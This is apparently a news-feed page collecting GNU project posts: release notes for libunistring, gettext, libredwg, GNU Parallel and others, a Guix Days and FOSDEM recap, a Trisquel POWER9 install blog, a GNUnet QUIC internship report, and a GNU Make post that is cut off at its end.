The data tables and algorithms have been updated to Unicode version 15.1.0.
New functions u8_pcpy, u16_pcpy, u32_pcpy, similar to mempcpy.
New functions uc_indic_conjunct_break_name, uc_indic_conjunct_break_byname, uc_indic_conjunct_break.
New functions uc_is_property_prepended_concatenation_mark, uc_is_property_id_compat_math_start, uc_is_property_id_compat_math_continue, uc_is_property_ids_unary_operator and new constants UC_PROPERTY_PREPENDED_CONCATENATION_MARK, UC_PROPERTY_ID_COMPAT_MATH_START, UC_PROPERTY_ID_COMPAT_MATH_CONTINUE, UC_PROPERTY_IDS_UNARY_OPERATOR.
New constant _libunistring_unicode_version.
The UTF-8 decoder functions, especially u8_mbtouc, are now more Unicode Standard compliant.
The *printf functions no longer support the %n directive, for security reasons.
Fixed a bug in the *printf functions: In the %U, %lU, %llU directives, a negative width given as an argument did not trigger left-justification.
The functions u16_strstr and u32_strstr now operate in worst-case linear time.
Download from https://ftp.gnu.org/pub/gnu/gettext/gettext-0.22.5.tar.gz
This is a bug-fix release.
New in this release:
The replacements for the printf()/fprintf()/... functions that are provided through on native Windows and NetBSD now enable GCC's format string analysis (-Wformat).
Bug fixes:
xgettext's processing of Vala files with printf method invocations has been corrected (regression in 0.22).
A minor bugfix release, fixes error: cannot find input file: `test/xmlsuite/Makefile.in'
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.2
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.gz (20.1MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.xz (10.1MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.2
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.2.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
Guix contributors and users got together in Brussels to explore Guix's status, chat about new ideas and spend some time together enjoying Belgian beer! Here's a recap of what was discussed.
Day 1The first day kicked off with an update on the project's health, given by Efraim Flashner representing the project's Maintainer collective. Efraim relayed that the project is doing well, with lots of exciting new features coming into the archive and new users taking part. It was really cool listening to all the new capabilities - thank-you to all our volunteer contributors who are making Guix better! Efraim noted that the introduction of Teams has improved collaboration - equally, that there's plenty of areas we can improve. For example, concern remains over the "bus factor" in key areas like infrastructure. There's also a desire to release more often as this provides an updated installer and lets us talk about new capabilities.
Christopher Baines gave a general talk about the QA infrastructure and the ongoing work to develop automated builds. Chris showed a diagram of the way the services interact which shows how complex it is. Increasing automation is very valuable for users and contributors, as it removes tedious and unpleasant drudgery!
Then, Julien Lepiller, representing the Guix Foundation, told us about the work it does. Julien also brought some great stickers! The Guix Foundation is a non-profit association that can receive donations, host activities and support the Guix project. Did you know that it's simple and easy to join? Anyone can do so by simply filling in the form and paying the 10 Euro membership fee. Contact the Guix Foundation if you'd like to know more.
The rest of the day was taken up with small groups discussing topics:
Goblins, Hoot and Guix: Christine Lemmer-Webber gave an introduction tothe Spritely Institute's mission to createdecentralized networks and community infrastructure that respects user freedomand security. There was a lot of interesting discussion about how thenetwork capabilities could be used in Guix, for example enabling distributedbuild infrastructure.
Infrastructure: There was a working session on how the projectsinfrastructure works and can be improved. Christopher Baines has beenputting lots of effort into the QA and build infrastructure.
Guix Home: Gábor Boskovits coordinated a session on Guix Home. It wasexciting to think about how Guix Home introduces the "Guix way" in acompletely different way from packages. This could introduce a whole newaudience to the project. There was interest in improving the overallexperience so it can be used with other distributions(e.g. Fedora, Arch Linux, Debian and Ubuntu).
Release management: Julien Lepiller led us through a discussion ofrelease management, explaining the ways that all the parts fit together. Themost important part that has to be done is testing the installation imagewhich is a manual process.
Day 2The second day's sessions:
Funding: A big group discussed funding for the project. Funding isimportant because it determines many aspects of what the group can achieve.Guix is a global project so there are pools of money in the United States andEurope (France). Andreas Enge and Julien Lepiller represented the group thathandle finance, giving answers on the practical elements. Listening to theirdescription of this difficult and involved work, I was struck how gratefulwe all are that they're willing to do it!
Governance: Guix is a living project that continues to grow and evolve.The governance discussion concerned how the project continues to chart aclear direction, make good decisions and bring both current and new users onthe journey. There was reflection on the need for accountability and quickdecision making, without onerous bureaurcacy, while also acknowledging thateveryone is a volunteer. There was a lot of interest in how groups can jointogether, perhaps using approaches like Sociocracy.
Simon Tournier has been working on an RFC process,which the project will use to discuss major changes and make decisions.Further discussion is taking place on the development mailing-list if you'dlike to take part.
* Alternative Architectures: The Guix team continues to work onalternative architectures. Efraim had his 32-bit PowerPC (Powerbook G4) withhim, and there's continued work on PowerPC64, ARM64 and RISC-V 64. The biggoal is a complete source bootscrap across all architectures.
* Hurd: Janneke Nieuwenhuizen led a discussion aroundGNU Hurd, which is a microkernel-basedarchitecture. Activity has increased in the last couple of years, and there'ssupport for SMP and 64-bit (x86) is work in progress. There's lots of ideasand excitement about getting Guix to work on Hurd.
* Guix CLI improvements: Jonathan coordinated a discussion about the state of the Guix CLI. A consistent, self-explaining and intuitive experience is important for our users. There are 39 top-level commands, that cover all the functionality from package management through to environment and system creation! Various improvements were discussed, such as making extensions available and improving documentation about the REPL work-flow.
FOSDEM 2024 videosGuix Days 2024 took place just before FOSDEM 2024. FOSDEM was a fantastic two days of interesting talks and conversations. If you'd like to watch the GUIX-related talks the videos are being put online:
Making reproducible and publishable large-scale HPC experimentsby Philippe Swartvagher.
Scheme in the Browser with Guile Hoot and WebAssemblyby Robin Templeton.
RISC-V Bootstrapping in Guix and Live-Bootstrapby Ekaitz Zarraga.
Self-hosting and autonomy using guix-forgeby Arun Isaac.
Spritely, Guile, Guix: a unified vision for user securityby Christine Lemmer-Webber.
Supporting architecture psABIs with GNU Guixby Efraim Flashner.
Join UsThere's lots happening in Guix and many ways to get involved. We're a small and friendly project that values user freedom and a welcoming community. If this recap has inspired your interest, take a look at the raw notes and join us!
A minor bugfix release, but broken.
error: cannot find input file: `test/xmlsuite/Makefile.in'
You can safely patch the test/xmlsuite error away.
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.1
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.gz (17.4MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.xz (9MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.1
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.1.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
PowerPC port now optimize for a variable stack frame size and only create a stack frame if a non leaf function.
New callee test to ensure register values saved on the stack are not corrupted when calling a jit or C function. While no problem was found in any port, the new test was added to make sure there were no failures.
Add back the jit_hmul interface, from Lightning 1.x. There are special cases where it is desirable to only know the high part of a multiplication.
Correct wrong implementation of zero right shift with two registers output.
Add new pre and post increment for load and store instructions.
Can now also read and write all DWG formats pre-R13.
See https://www.gnu.org/software/libredwg/ and https://github.com/LibreDWG/libredwg/blob/0.13/NEWS
Now we'll finish work on encode support for r2004+.
Here are the compressed but broken sources:
error: cannot find input file: `test/xmlsuite/Makefile.in'
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
You can safely patch the test/xmlsuite error away.
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13
[*] Use a .sig file to verify that the coresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
The 22st release of GNU Astronomy Utilities (Gnuastro) is now available. See the full announcement for all the new features in this release and the many bugs that have been found and fixed: https://lists.gnu.org/archive/html/info-gnuastro/2024-02/msg00000.html
Join us on our journey towards informational self-determination in payments! As part of NGI TALER, NLnet Foundation is running an open call and will award grants to third parties working on GNU Taler enhancements globally. The application process is simple and the first submission deadline is April 1st 2024.
o Use poll() over select() to avoid fd limit in openipmi driver.
o Fix potential portability problems on systems without cbrt().
o Minor documentation updates.
FreeIPMI 1.6.13 - 01/26/24
o Fix build issues on systems where inb/outb are declared with
inline assembly.
o Add additional sensor/event interpretations.
--plus enables {slot-1} and {seq-1} = {%}-1 and {#}-1 to count from 0.
env_parallel.{sh,ash,dash,bash,ksh,zsh} are now the same script.
Bug fixes and man page updates.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
It's not long to FOSDEM 2024, where Guixers will come together to learn and hack.As usual there's some great talks and opportunities to meet other users andcontributors.
FOSDEM is Europe's biggest Free Software conference.It's aimed at developers and anyone who's interested in the Free Softwaremovement. While it's an in-person conference there are live video streamsand lots of ways to participate remotely.
The schedule is varied with development rooms covering many interests. Hereare some of the talks that are of particular interest to Guixers:
Saturday, 3rd Febuary "Making reproducible and publishable large-scale HPC experiments*"by Philippe Swartvagher (10:30 CET). Philippe will talk about the search forreproducible experiments in high-performance computing (HPC) and how he usesGuix in his methododology.
Sunday, 4th FebruaryThe Declarative and Minimalistic Computing tracktakes place Sunday morning. Important topics are:
Minimalism Matters: sustainable computing through smaller, resource efficient systems
Declarative Programming: reliable and reproducible systems by minimising side-effects
Guix-related talks are:
"Scheme in the Browser with Guile Hoot and WebAssembly"by Robin Templeton (11:00 CET). A talk covering bringing Scheme to WebAssemblythrough the Guile Hoot toolchain. Addressing the current state of Guile Hootwith examples, and how recent Wasm proposals might improve thesituation in the future.
"RISC-V Bootstrapping in Guix and Live-Bootstrap"by Ekaitz Zarraga (11:20 CET). An update on the RISC-V bootstrapping effortin Guix and Live-bootstrap. Covering what's been done, what's left to do andsome of the lessons learned.
"Self-hosting and autonomy using guix-forge"by Arun Isaac (11:40 CET). This talk demonstrates the value of Guix's declarativeconfiguration to simplify deploying and maintaining complex services. Showingguix-forge, a project thatmakes it easy to self-host an efficient software forge.
"Spritely, Guile, Guix: a unified vision for user security"by Christine Lemmer-Webber (12:00 CET). Spritely's goal is to createnetworked communities that puts people in control of their own identityand security. This talk will present a unified vision of how Spritely,Guile, and Guix can work together to bring user freedom and security toeveryone!
This year the track commemorates Joe Armstrong, who was the principalinventor of Erlang. His focus on concurrency,distribution and fault-tolerence are key topics in declarative and minimalisticcomputing. This articleis a great introduction to his legacy. Along with"The Mess We're In", aclassic where he discusses why software is getting worse with time, and what canbe done about it.
On Sunday afternoon, the Distributions devroomhas another Guix talk:
"Supporting architecture psABIs with GNU Guix"by Efraim Flashner (14:30 CET). Guix maintainer Efraim will be giving atalk about improving Guix's performance. Demonstrating how to use psABItargets that keep older hardware compatible while providing optimizedlibraries for newer hardware.
Guix Days (Thursday and Friday)Guix Days will be taking place on the Thursday and Friday before FOSDEM. This isan "unconference-style" event,where the community gets together to focus on Guix's development. All thedetails are on theLibreplanet Guix Wiki.
ParticipatingCome and join in the fun, whether you're a new Guix user or seasoned hacker!If you're not in Brussels you can still take part:
See the FOSDEM Schedule
Watch the live streams
Chat in the unofficial Guix Days Matrix room
About GNU GuixGNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
We are excited to announce the creation of a European project December 1st 2023, which will run for the next 36 months. This Next Generation Internet pilot named "NGI TALER" is operated by a consortium of 11 partners from 8 European countries with the mandate to roll out an innovative electronic payment system for the greater benefit of European citizens, merchants, and banks. This payment system is different from current online payment methods, like credit cards or bank transfers, in that it offers privacy for the buyer: neither merchants nor banks can trace or link the payments. It is also a no-risk payment option for the merchant as there is no equivalent of fake or stolen credit cards, as payments are cleared and confirmed instantly. The payment system is socially, ecologically and fiscally responsible: it is not a new currency, there is no energy-consuming proof-of-work or proof-of-stake method and clearing is processed much faster than payments by credit cards. NGI TALER enforce [...]
The GNU System is turning forty. In honor of this event, the Free
Software Foundation (FSF) is organizing a hackday for families, students,
and anyone interested in hacking. Come and celebrate with us with kith
and kin!
12 September 2023 Unifont 15.1.01 is now available.
This is a major release. This release no longer builds TrueType fonts by default, as announced over the past year. They have been replaced with their OpenType equivalents. TrueType fonts can still be built manually by typing "make truetype" in the font directory.
This release also includes a new Hangul Syllables Johab 6/3/1 encoding proposed by Ho-Seok Ee. New Hangul supporting software for this encoding allows formation of all double-width Hangul syllables, including those with ancient letters that are outside the Unicode Hangul Syllables range. Details are in the ChangeLog file.
Maintaining and expanding Guix's collection of packages can be
complicated. As a distribution with around 22,000 packages, spanning
across around 7 architectures and with support for cross-compilation,
it's quite common for problems to occur when making changes.
Quality Assurance (QA) is a general term to describe the approach
taken to try and ensure something meets expectations. When applied to
software, the term testing is normally used. While Guix is software,
and has tests, much more than those tests are needed to maintain Guix
as a distribution.
So what might quality relate to in the context of Guix as a
distribution? This will differ from person to person, but these are
some common concerns:
Packages successfully building (both now, and without any
time bombs for the future)
The packaged software functioning correctly
Packages building on or for a specific architecture
Packages building reproducibly
Availability of translations for the package definitions
Tooling to help with Quality AssuranceThere's a range of tools to help maintain Guix. The package
linters
are a set of simple tools, they cover basic things from the naming of
packages to more complicated checkers that look for security issues
for example.
The guix weather
tool looks at substitute availability information and can indicate how
many substitutes are available for the current Guix and system. The
guix challenge
tool is similar, but it highlights package reproducibility issues,
which is when the substitutes and local store items (if available)
differ.
For translations, Guix uses
Weblate
which can provide information on how many translations are available.
The QA front-pageThen there's the relatively new Quality Assurance (QA)
front-page, the aim of which is to bring
together some of the existing Quality Assurance related information,
as well as new being a good place to do additional QA tasks.
The QA front-page
started
as a service to coordinate automated testing for patches. When a patch
or patch series is submitted to guix-patches@gnu.org, it is
automatically applied to create a branch; then once the information is
available from the Data Service about
this branch, the QA front-page web interface lets you view which
packages were modified and submits builds for these changes to the
Build Coordinator
behind bordeaux.guix.gnu.org
to provide build information about the modified packages.
A very similar process applies for branches other than the master
branch, the QA front-page queries
issues.guix.gnu.org to find out which
branch is going to be merged next, then follows the same process for
patches.
For both patches and branches the QA front-page displays information
about the effects of the changes. When this information is available,
it can assist with reviewing the changes and help get patches merged
quicker. This is a work in progress though, and there's much more that
the QA front-page should be able to do as providing clearer
descriptions of the changes or any other problems that should be
addressed.
How to get involved?There's plenty of ways to get involved or contribute to the QA
front-page.
If you submit patches to Guix, the QA front-page will attempt to apply
the patches and show what's changed. You can click through from
issues.guix.gnu.org to qa.guix.gnu.org via
the QA badge by the status of the issue.
From the QA front-page, you can also view the list of branches which
includes the requests for merging if they exist. Similar to the patch
series, for the branch the QA front-page can display information about
the package changes and substitute availability.
There's also plenty of ways to contribute to the QA front-page and
connected tools. You can find some ideas and information on how to
run the service in the README and if
you have any questions or patches, please email guix-devel@gnu.org.
AcknowledgmentsThanks to Simon Tournier and Ludovic Courtès for providing feedback on
an earlier draft of this post.
About GNU GuixGNU Guix is a transactional package manager
and an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
Guile programming interfaces and
extensions to the Scheme language.
The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to protect and promote computer-user freedom, seeks a motivated and organized Boston-based individual to be our full-time operations assistant.
GNU Boot has published its first release candidate, and we need help for testing, at first from people who are able to recover from computers that don't boot anymore.
This is because, while we have very minimal changes on top of the code used by the last Libreboot release that didn't contain nonfree software, we didn't test all the images ourselves yet, so there is still risks of ending up with computers that don't boot anymore.
If the code works fine, we will most likely be able to release it as-is but we (the current maintainers) still have a lot of work to do before the release.
For instance we still need to integrate the code from the website, find good ways to deploy it, make sure that the installation documentation works (for instance by asking for help from testers and fixing it), etc.
As for accepting patches, we're not ready yet to do that yet, but we plan to have that done for the first release, or before that depending on how things work.
For reporting what images work, you can reply to this mail (or open a bug report).
The call for sessions for LibrePlanet 2024: CultivatingCommunity, the sixteenth edition of the Free Software Foundation's(FSF) conference on ethical technology and user freedom, is open.
The GNU System is turning forty. In honor of this event, the Free Software Foundation (FSF) is organizing a hackday for families, students, and anyone interested in hacking. Come and celebrate with us with kith and kin!
Since the release of Trisquel 11 I have been busy migrating x86 machines from Debian to Trisquel. One would think that I would be finished after this time period, but re-installing and migrating machines is really time consuming, especially if you allow yourself to be distracted every time you notice something that Really Ought to be improved. Rabbit holes all the way down. One of my production machines is running Debian 11 “bullseye” on a Talos II Lite machine from Raptor Computing Systems, and migrating the virtual machines running on that host (including the VM that serves this blog) to a x86 machine running Trisquel felt unsatisfying to me. I want to migrate my computing towards hardware that harmonize with FSF’s Respects Your Freedom and not away from it. Here I had to chose between using the non-free software present in newer Debian or the non-free software implied by most x86 systems: not an easy chose. So I have ignored the dilemma for some time. After all, the machine was running Debian 11 “bullseye”, which was released before Debian started to require use of non-free software. With the end-of-life date for bullseye approaching, it seems that this isn’t a sustainable choice.
There is a report open about providing ppc64el ISOs that was created by Jason Self shortly after the release, but for many months nothing happened. About a month ago, Luis Guzmán mentioned an initial ISO build and I started testing it. The setup has worked well for a month, and with this post I want to contribute instructions how to get it up and running since this is still missing.
The setup of my soon-to-be new production machine:
Talos II Lite
POWER9 18-core v2 CPU
Inter-Tech 4U-4410 rack case with ASPOWER power supply
8x32GB DDR4-2666 ECC RDIMM
HighPoint SSD7505 (the Rocket 1504 or 1204 would be a more cost-effective choice, but I re-used a component I had laying around)
PERC H700 aka LSI MegaRAID 2108 SAS/SATA (also found laying around)
Sadly, no hash checksums or OpenPGP signatures are published.
Power off your device, insert the USB stick, and power it up, and you see a Petitboot menu offering to boot from the USB stick. For some reason, the "Expert Install" was the default in the menu, and instead I select "Default Install" for the regular experience. For this post, I will ignore BMC/IPMI, as interacting with it is not necessary. Make sure to not connect the BMC/IPMI ethernet port unless you are willing to enter that dungeon. The VGA console works fine with a normal USB keyboard, and you can chose to use only the second enP4p1s0f1 network card in the network card selection menu.
If you are familiar with Debian netinst ISO’s, the installation is straight-forward. I complicate the setup by partitioning two RAID1 partitions on the two NVMe sticks, one RAID1 for a 75GB ext4 root filesystem (discard,noatime) and one RAID1 for a 900GB LVM volume group for virtual machines, and two 20GB swap partitions on each of the NVMe sticks (to silence a warning about lack of swap, I’m not sure swap is still a good idea?). The 3x18TB disks use DM-integrity with RAID1 however the installer does not support DM-integrity so I had to create it after the installation.
There are two additional matters worth mentioning:
Selecting the apt mirror does not have the list of well-known Trisquel mirrors which the x86 installer offers. Instead I have to input the archive mirror manually, and fortunately the archive.trisquel.org hostname and path values are available as defaults, so I just press enter and fix this after the installation has finished. You may want to have the hostname/path of your local mirror handy, to speed things up.
The installer asks me which kernel to use, which the x86 installer does not do. I believe older Trisquel/Ubuntu installers asked this question, but that it was gone in aramo on x86. I select the default “linux-image-generic” which gives me a predictable 5.15 Linux-libre kernel, although you may want to chose “linux-image-generic-hwe-11.0” for a more recent 6.2 Linux-libre kernel. Maybe this is intentional debinst-behaviour for non-x86 platforms?
I have re-installed the machine a couple of times, and have now finished installing the production setup. I haven’t ran into any serious issues, and the system has been stable. Time to wrap up, and celebrate that I now run an operating system aligned with the Free System Distribution Guidelines on hardware that aligns with Respects Your Freedom — Happy Hacking indeed!
Hi, my name is Marshall and throughout the summer of 2023 I worked on developing a new communicator for the GNUnet transport service. I learned a lot about GNUnet through my development experience. Here are some details about the journey!
Goals of the Project.
The goal of this project was to develop a new transport, QUIC, for the
Transport Next Generation (TNG) service
. TNG is a successor to the previous transport plugins and will be running in the fall 2023 GNUnet release. At the time of writing, GNUnet currently supports transports over TCP, UDP, and UNIX sockets.
I chose to implement a QUIC transport communicator due to the rising popularity and speed of this protocol. Because of this popularity, QUIC will be a great transport protocol for GNUnet traffic to sit on top of. QUIC is intended to be a faster alternative to TCP and tries to address some issues that TLS has.
What I completed.
One of the first steps was deciding on a library that can process QUIC packets and would be available to users running different operating systems.
We chose to go with
Cloudflare's Quiche library
because the C API seemed simpler than other available libraries. Installing cloudflare-quiche via the Homebrew package manager (MacOS) did not actually install the libraries properly for linking with other C programs so I made a pull request in the Homebrew repository and
fixed the formula
.
After this, I worked on handling the receiving functionality of the communicator. This involved reading from the socket then processing the QUIC packets using the Quiche library. Then I implemented the ability to send messages in a similar manner. One of the last steps involved connecting everything together with the transport service so that the communicator can receive information about peers and relay messages.
Once I finished these tasks, the QUIC communicator got merged upstream and is currently an experimental feature. This is due to the packaging situation with Quiche as it is difficult for some users to install the library, and there still may be bugs lingering in the QUIC communicator. More testing and refinement is needed to offer a truly robust and reliable communicator.
Link to source code:
QUIC communicator
.
The current state.
The QUIC communicator currently functions and passes basic communicator tests. That being said, there are some latency issues that need to be addressed. Since the communicator suite is designed to run alongside the new TNG service, it is currently not usable since TNG is still under development (as mentioned previously). Mentioned below are some other things that have yet to be implemented in the QUIC communicator, but will be fixed in the future.
Future Work.
We still need to develop a more permanent solution to the certificate generation so that the Quiche API functions properly. This
certificate generation
has been done in previous implementations (for example the HTTPS plugin). Currently, we are using static, example certificates. Adding timers to each QUIC connection so that a timeout will trigger a connection to close also needs to be implemented. Finally, we should look into lowering the latency by finding points where the communicator is too slow and optimizing it.
Challenges I Encountered.
One of the challenges was reverse engineering the Quiche C API because it has such limited documentation. I learned how to make use of the API by looking at the very simple example client and server examples that are provided in the Quiche repository. There is documentation for the Rust API which seems to operate pretty similarly, so this was helpful too at times. I overcame this challenge with the help and guidance of my mentor Martin Schanzenbach.
Final notes.
Overall, my experience with GNUnet was fantastic. My mentors were friendly and consistently available when I needed help, and I thank them for that. I'm thankful for the GNUnet community for being welcoming and understanding toward new open source developers like myself. I had a lot of fun learning how GNUnet works while developing my project. I am looking forward to contributing to GNUnet in the future!
GNU Parallel 20230822 ('Chandrayaan') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU parallel is your friend. Unleash your cores! #GNU
-- Blake L @BlakeDL@twitter
New in this release:
Bug fixes and man page updates.
News about GNU Parallel:
GNU Parallel, where have you been all my life? https://alexplescan.com/posts/2023/08/20/gnu-parallel/
Parallel (multithreaded) music download from Youtube https://hrna.moe/?p=parallel-multithread-music-download
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
When upgrading from budgie-desktop 10.7.2-5 to 10.7.2-6, the package mutter43 must be replaced with magpie-wm, which currently depends on mutter. As mutter43 conflicts with mutter, manual intervention is required to complete the upgrade.
First remove mutter43, then immediately perform the upgrade. Do not relog or
reboot between these steps.
Update: I am delighted to have been wrong! See the end.
Briefly, an interesting negative result: consider benchmarks b1, b2,
b3 and so on, with associated .c and .h files. Consider libraries
p and q, with their .c and .h files. You want to run each
benchmark against each library.
P and Q implement the same API, but they have different ABI: you need to
separately compile each benchmark for each library. You also need to
separate compile each library for each benchmark, because p.c also
uses an abstract API implemented by b1.h, b2.h, and so on.
The problem: can you implement a short GNU Makefile that produces
executables b1.p, b1.q, b2.p, b2.q, and so on?
The answer would appear to be "no".
You might think that with call and all the other functions available
to you, that surely this could be done, and indeed it's easy to take the
cross product of two lists. But what we need are new rules, not just
new text or variables, and you can't programmatically create rules. So
we have to look at rules to see what facilities are available.
```
With pattern
rules,
you can easily modify these rules to parameterize either over
benchmark or over library, but not both. What you want is something
like:
```
But that doesn't work: you can't have a wildcard (*) in the pattern
rule. (Really you would like to be able to match multiple patterns, but
the above is the closest thing I can think of to what make has.)
Static pattern
rules
don't help: they are like pattern rules, but more precise as they apply
only to a specific set of targets.
You might think that you could use $* or other special variables on
the right-hand side of a pattern rule, but that's not the case.
You might think that secondary
expansion
might help you, but then you open the door to an annoying set of
problems: sure, you can mix variable uses that are intended to be
expanded once with those to be expanded twice, but the former set better
be idempotent upon second expansion, or things will go weird!
Perhaps the best chance for a make-only solution would be to recurse
on generated makefiles, but that seems to be quite beyond the pale.
To be concrete, I run into this case when benchmarking
Whippet: there are some number of
benchmarks, and some number of collector configurations. Benchmark code
will inline code from collectors, from their header files; and
collectors will inline code from benchmarks, to implement the
trace-all-the-edges functionality.
So, with Whippet I am left with the strange conclusion that the only
